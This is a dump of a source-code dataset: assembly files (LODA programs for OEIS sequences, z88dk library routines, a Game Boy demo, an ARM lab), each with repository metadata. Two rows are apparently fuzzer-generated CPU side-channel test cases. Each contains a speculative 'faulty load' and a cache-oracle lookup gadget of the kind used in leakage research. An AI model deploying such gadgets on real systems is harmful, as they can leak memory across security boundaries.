hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
8019418d2e329e2e7fa232e014eac65057c877a4 | 4,015 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_905.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_905.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_905.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r8
lea addresses_WC_ht+0x12f60, %r12
nop
nop
nop
nop
sub %r14, %r14
movw $0x6162, (%r12)
nop
nop
nop
nop
cmp $6368, %r8
pop %r8
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r9
push %rbp
push %rdi
// Faulty Load
lea addresses_UC+0x11760, %r9
clflush (%r9)
nop
nop
dec %r12
mov (%r9), %r10w
lea oracles, %r13
and $0xff, %r10
shlq $12, %r10
mov (%r13,%r10,1), %r10
pop %rdi
pop %rbp
pop %r9
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
| 62.734375 | 2,999 | 0.662516 |
b8dd8067840e1c447e1f50ad82287ee2e640c3a8 | 475 | asm | Assembly | programs/oeis/019/A019759.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/019/A019759.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/019/A019759.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A019759: Decimal expansion of e/22.
; 1,2,3,5,5,8,2,6,4,9,2,9,9,5,6,6,0,1,6,0,7,2,8,5,7,9,4,1,5,2,3,9,3,7,4,9,8,9,8,0,5,6,6,8,6,0,7,7,2,7,0,8,8,9,7,7,1,2,2,5,8,0,1,2,6,0,1,8,5,3,0,1,3,7,9,7,0,6,7,0,8,8,4,4,1,5,3,7,3,5,3,8,7,5,0,7,5,6,4,8
add $0,1
mov $2,1
mov $3,$0
mul $3,5
lpb $3
mul $2,$3
add $1,$2
cmp $4,0
mov $5,$0
div $5,3
add $5,$4
div $1,$5
div $2,$5
sub $3,1
cmp $4,0
lpe
mov $6,10
pow $6,$0
div $2,$6
mul $2,22
div $1,$2
mod $1,10
mov $0,$1
| 17.592593 | 201 | 0.511579 |
12ce365bc2e34d453caaf8a805f18680b0047ad9 | 146 | asm | Assembly | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm1/zel_gmap.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm1/zel_gmap.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm1/zel_gmap.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: zel_gmap.asm
Type: file
Size: 68380
Last-Modified: '2016-05-13T04:23:03Z'
SHA-1: 47E9F3F03859919D8C253B323AF767C33C2B4BBB
Description: null
| 20.857143 | 47 | 0.815068 |
9fc327aad2a3eb27a906a0481941b701277fd0fa | 446 | asm | Assembly | programs/oeis/047/A047279.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/047/A047279.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/047/A047279.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A047279: Numbers that are congruent to {0, 1, 2, 6} mod 7.
; 0,1,2,6,7,8,9,13,14,15,16,20,21,22,23,27,28,29,30,34,35,36,37,41,42,43,44,48,49,50,51,55,56,57,58,62,63,64,65,69,70,71,72,76,77,78,79,83,84,85,86,90,91,92,93,97,98,99,100,104,105,106,107,111,112,113,114,118,119,120,121,125,126,127,128,132,133,134,135,139,140,141,142,146,147,148,149,153,154,155,156,160,161,162,163,167,168,169,170,174
mov $1,$0
add $0,1
div $0,4
mul $0,3
add $0,$1
| 49.555556 | 336 | 0.672646 |
6d276ce2468f93137f27a3dda2b5078cd8e587b6 | 297 | asm | Assembly | libsrc/_DEVELOPMENT/adt/wa_priority_queue/c/sdcc_iy/wa_priority_queue_push_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/wa_priority_queue/c/sdcc_iy/wa_priority_queue_push_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/wa_priority_queue/c/sdcc_iy/wa_priority_queue_push_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; int wa_priority_queue_push_callee(wa_priority_queue_t *q, void *item)
SECTION code_adt_wa_priority_queue
PUBLIC _wa_priority_queue_push_callee
_wa_priority_queue_push_callee:
pop af
pop hl
pop bc
push af
INCLUDE "adt/wa_priority_queue/z80/asm_wa_priority_queue_push.asm"
| 18.5625 | 71 | 0.804714 |
830b9df7ff2184a173bfce6947442827efbacf00 | 422 | asm | Assembly | oeis/133/A133594.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/133/A133594.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/133/A133594.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A133594: a(n)=3*a(n-1)+12*a(n-2) for n>=3, a(0)=1, a(1)=3, a(2)=18 .
; Submitted by Christian Krause
; 1,3,18,90,486,2538,13446,70794,373734,1970730,10396998,54839754,289283238,1525926762,8049179142,42458658570,223966125414,1181402279082,6231800342214,32872228375626,173398289233446,914661608207850
mov $2,3
lpb $0
sub $0,1
add $2,$3
mov $3,$4
mul $3,3
mov $4,$2
add $2,$3
mul $2,3
lpe
mov $0,$2
div $0,3
| 24.823529 | 197 | 0.687204 |
b8d252582cb08d01501b2678d3a2c0110b19ad4c | 581 | asm | Assembly | libsrc/_DEVELOPMENT/input/ep/z80/asm_in_stick_ext2.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/input/ep/z80/asm_in_stick_ext2.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/input/ep/z80/asm_in_stick_ext2.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; ===============================================================
; Aug 2015
; ===============================================================
;
; uint16_t in_stick_ext2(void)
;
; Return joystick state in byte FGHIRLDU active high. The
; FGHI bits are fire buttons with "F" being primary.
;
; ===============================================================
SECTION code_clib
SECTION code_input
PUBLIC asm_in_stick_ext2
EXTERN asm_in_stick_ext1_0
asm_in_stick_ext2:
; exit : hl = F000RLDU active high
;
; uses : af, bc, hl
ld bc,$0409
jp asm_in_stick_ext1_0
| 20.75 | 65 | 0.478485 |
73fc3cb1da97219f42359f1b18c9294e27a63260 | 440 | asm | Assembly | Lab3/lab3_1.asm | chintamanand/Embedded-Systems-Project | 8e5651ad699dce8b4c962edb492c910200e00f36 | [
"MIT"
] | null | null | null | Lab3/lab3_1.asm | chintamanand/Embedded-Systems-Project | 8e5651ad699dce8b4c962edb492c910200e00f36 | [
"MIT"
] | null | null | null | Lab3/lab3_1.asm | chintamanand/Embedded-Systems-Project | 8e5651ad699dce8b4c962edb492c910200e00f36 | [
"MIT"
] | null | null | null | AREA RESET,DATA,READONLY
EXPORT __Vectors
__Vectors
DCD 0X40000000
DCD Reset_Handler
ALIGN
AREA mycode,CODE,READONLY
ENTRY
EXPORT Reset_Handler
Reset_Handler
LDR R0,=VALUE1
LDR R1,[R0]
LDR R2,=VALUE2
LDR R3,[R2]
LDR R5,=RESULT
MOV R6,#5
UP
ADDS R7,R1
SUB R6,#1
TEQ R6,#0
BNE UP
STOP B STOP
VALUE1 DCD 0X1234
VALUE2 DCD 0X5
AREA data,DATA,READWRITE
RESULT DCD 0
END
| 13.75 | 33 | 0.654545 |
0f37385ee9e90fa981373e139e8d31509d1733f0 | 1,875 | asm | Assembly | src/main.asm | Larusso/gb-hello-world | d9c405f7645ea260cddd01d061482502df02db7e | [
"Unlicense"
] | null | null | null | src/main.asm | Larusso/gb-hello-world | d9c405f7645ea260cddd01d061482502df02db7e | [
"Unlicense"
] | null | null | null | src/main.asm | Larusso/gb-hello-world | d9c405f7645ea260cddd01d061482502df02db7e | [
"Unlicense"
] | null | null | null | INCLUDE "hardware.inc"
SECTION "Header", ROM0[$100]
; Our code here
EntryPoint:
di
jp Start
REPT $150 - $104
db 0
ENDR
SECTION "Game Code", ROM0
Start:
; Turn off the LCD
.waitVBlank
ld a, [rLY]
cp 144 ; Check if the LCD is past VBLANC
jr c, .waitVBlank
xor a ; ld a, 0 ; We only need to reset a calue with bit 7 reset, but 0 does the job
ld [rLCDC], a ; We will have to write to LCDC again later, so it's not a bother, really.
ld hl, $9000
ld de, FontTiles
ld bc, FontTilesEnd - FontTiles
.copyFont
ld a, [de] ; Grab 1 byte from the source
ld [hli], a ; Place it at the destination, increment hl
inc de ; Move to next byte
dec bc ; Decrement count
ld a, b ; Check if count is 0, since `dec bc` doesn't update flags
or c
jr nz, .copyFont
ld hl, $9800 ; This will print the string at the top-left corner of the screen
ld de, HelloWorldStr
.copyString
ld a, [de]
ld [hli], a
inc de
and a ; Check if the byte we just copied is zero
jr nz, .copyString ; Continue if it's not
; Init display registers
ld a, %11100100
ld [rBGP], a
xor a ; ld a, 0
ld [rSCY], a
ld [rSCX], a
; Shut sound down
ld [rNR52], a
; Turn screen on, display background
ld a, %10000001
ld [rLCDC], a
; Lock up
.lockup
jr .lockup
SECTION "Font", ROM0
FontTiles:
INCBIN "font.chr"
FontTilesEnd:
SECTION "Hello World string", ROM0
HelloWorldStr:
db "Hello World!", 0 | 25 | 123 | 0.501333 |
f58e6bbda5a28f97dcb9a217346fe42f7a237e68 | 167 | asm | Assembly | libsrc/_DEVELOPMENT/font/fzx/fonts/ao/Roundel/_ff_ao_RoundelSerifLatin5.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/font/fzx/fonts/ao/Roundel/_ff_ao_RoundelSerifLatin5.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/font/fzx/fonts/ao/Roundel/_ff_ao_RoundelSerifLatin5.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION rodata_font
SECTION rodata_font_fzx
PUBLIC _ff_ao_RoundelSerifLatin5
_ff_ao_RoundelSerifLatin5:
BINARY "font/fzx/fonts/ao/Roundel/RoundelSerif_Latin5.fzx"
| 16.7 | 58 | 0.868263 |
34687873fcc88026e850f988845e7039de1fb8ee | 4,101 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_1_2236.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_1_2236.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_1_2236.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r8
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x17bda, %rsi
lea addresses_UC_ht+0x1371a, %rdi
nop
nop
nop
nop
xor $5358, %rbp
mov $1, %rcx
rep movsq
nop
nop
nop
inc %r8
lea addresses_WT_ht+0x9e1a, %rcx
nop
nop
nop
add $37128, %rbx
movl $0x61626364, (%rcx)
nop
nop
nop
lfence
lea addresses_A_ht+0x1b21a, %rbx
nop
nop
nop
cmp $47683, %rax
mov (%rbx), %si
add %rbx, %rbx
lea addresses_normal_ht+0x161a, %rsi
nop
nop
xor %rdi, %rdi
movups (%rsi), %xmm6
vpextrq $1, %xmm6, %r8
nop
nop
nop
and $20439, %r8
lea addresses_D_ht+0x4717, %rax
nop
sub %rsi, %rsi
movb $0x61, (%rax)
nop
nop
nop
sub $45198, %rcx
lea addresses_UC_ht+0x921a, %rax
nop
nop
nop
nop
nop
xor %rsi, %rsi
movb (%rax), %cl
nop
nop
nop
inc %rsi
lea addresses_normal_ht+0x17c1a, %rbp
nop
nop
add $25946, %rcx
movups (%rbp), %xmm7
vpextrq $0, %xmm7, %rdi
and $8484, %rsi
lea addresses_D_ht+0xfc1a, %rbp
cmp $2078, %rdi
movb $0x61, (%rbp)
nop
nop
nop
nop
nop
add $8851, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r8
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %r8
push %rax
push %rdi
push %rsi
// Load
lea addresses_A+0x11652, %rsi
nop
nop
nop
nop
nop
cmp $36473, %rax
movb (%rsi), %r8b
nop
lfence
// Store
lea addresses_normal+0xbeb8, %r13
nop
and $63084, %r10
movw $0x5152, (%r13)
xor %r8, %r8
// Store
lea addresses_UC+0x1237a, %r13
nop
nop
cmp $11866, %rax
mov $0x5152535455565758, %r10
movq %r10, %xmm0
vmovups %ymm0, (%r13)
nop
nop
dec %rdi
// Store
mov $0x295d8f0000000e06, %r10
clflush (%r10)
nop
nop
nop
nop
nop
sub $63339, %rax
mov $0x5152535455565758, %r8
movq %r8, %xmm0
vmovups %ymm0, (%r10)
nop
nop
nop
nop
xor $63040, %rdi
// Store
lea addresses_UC+0xc1a, %r13
nop
nop
nop
nop
nop
add %r14, %r14
mov $0x5152535455565758, %r8
movq %r8, (%r13)
nop
nop
nop
nop
and $13436, %r14
// Faulty Load
lea addresses_A+0xba1a, %r14
nop
nop
xor $22742, %r13
mov (%r14), %edi
lea oracles, %rsi
and $0xff, %rdi
shlq $12, %rdi
mov (%rsi,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rax
pop %r8
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_NC', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_A', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'00': 1}
00
*/
| 19.34434 | 152 | 0.643989 |
dcc239c4a1de264cfe481309ccb1803cbe99cc5f | 1,753 | asm | Assembly | programs/oeis/193/A193448.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/193/A193448.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/193/A193448.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A193448: a(n) = 4*(5*n^2 - 5*n + 1).
; 4,44,124,244,404,604,844,1124,1444,1804,2204,2644,3124,3644,4204,4804,5444,6124,6844,7604,8404,9244,10124,11044,12004,13004,14044,15124,16244,17404,18604,19844,21124,22444,23804,25204,26644,28124,29644,31204,32804,34444,36124,37844,39604,41404,43244,45124,47044,49004,51004,53044,55124,57244,59404,61604,63844,66124,68444,70804,73204,75644,78124,80644,83204,85804,88444,91124,93844,96604,99404,102244,105124,108044,111004,114004,117044,120124,123244,126404,129604,132844,136124,139444,142804,146204,149644,153124,156644,160204,163804,167444,171124,174844,178604,182404,186244,190124,194044,198004,202004,206044,210124,214244,218404,222604,226844,231124,235444,239804,244204,248644,253124,257644,262204,266804,271444,276124,280844,285604,290404,295244,300124,305044,310004,315004,320044,325124,330244,335404,340604,345844,351124,356444,361804,367204,372644,378124,383644,389204,394804,400444,406124,411844,417604,423404,429244,435124,441044,447004,453004,459044,465124,471244,477404,483604,489844,496124,502444,508804,515204,521644,528124,534644,541204,547804,554444,561124,567844,574604,581404,588244,595124,602044,609004,616004,623044,630124,637244,644404,651604,658844,666124,673444,680804,688204,695644,703124,710644,718204,725804,733444,741124,748844,756604,764404,772244,780124,788044,796004,804004,812044,820124,828244,836404,844604,852844,861124,869444,877804,886204,894644,903124,911644,920204,928804,937444,946124,954844,963604,972404,981244,990124,999044,1008004,1017004,1026044,1035124,1044244,1053404,1062604,1071844,1081124,1090444,1099804,1109204,1118644,1128124,1137644,1147204,1156804,1166444,1176124,1185844,1195604,1205404,1215244,1225124,1235044,1245004
sub $1,$0
bin $1,2
mul $1,40
add $1,4
| 219.125 | 1,674 | 0.832858 |
e77e8754a01f6ef1cbe0bd58dc615b113e4106d9 | 423 | asm | Assembly | programs/oeis/109/A109105.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | null | null | null | programs/oeis/109/A109105.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | null | null | null | programs/oeis/109/A109105.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | null | null | null | ; A109105: a(n) = (8*sqrt(5)/25)((sqrt(5) + 2)((15 + 5*sqrt(5))/2)^n + (sqrt(5) - 2)((15 - 5*sqrt(5))/2)^n.
; 40,520,6800,89000,1165000,15250000,199625000,2613125000,34206250000,447765625000,5861328125000,76725781250000,1004353515625000,13147158203125000,172098535156250000,2252799072265625000
mul $0,2
add $0,5
seq $0,147748 ; Row sums of Riordan array ((1-3x+x^2)/(1-4x+3x^2), x(1-2x)/(1-4x+3x^2)).
div $0,250
mul $0,40
| 47 | 185 | 0.690307 |
7f5fa718371b8e2f4045c181db2370753492546c | 1,294 | asm | Assembly | programs/oeis/298/A298474.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/298/A298474.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/298/A298474.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A298474: a(n) is the least k such that A090701(k) = n.
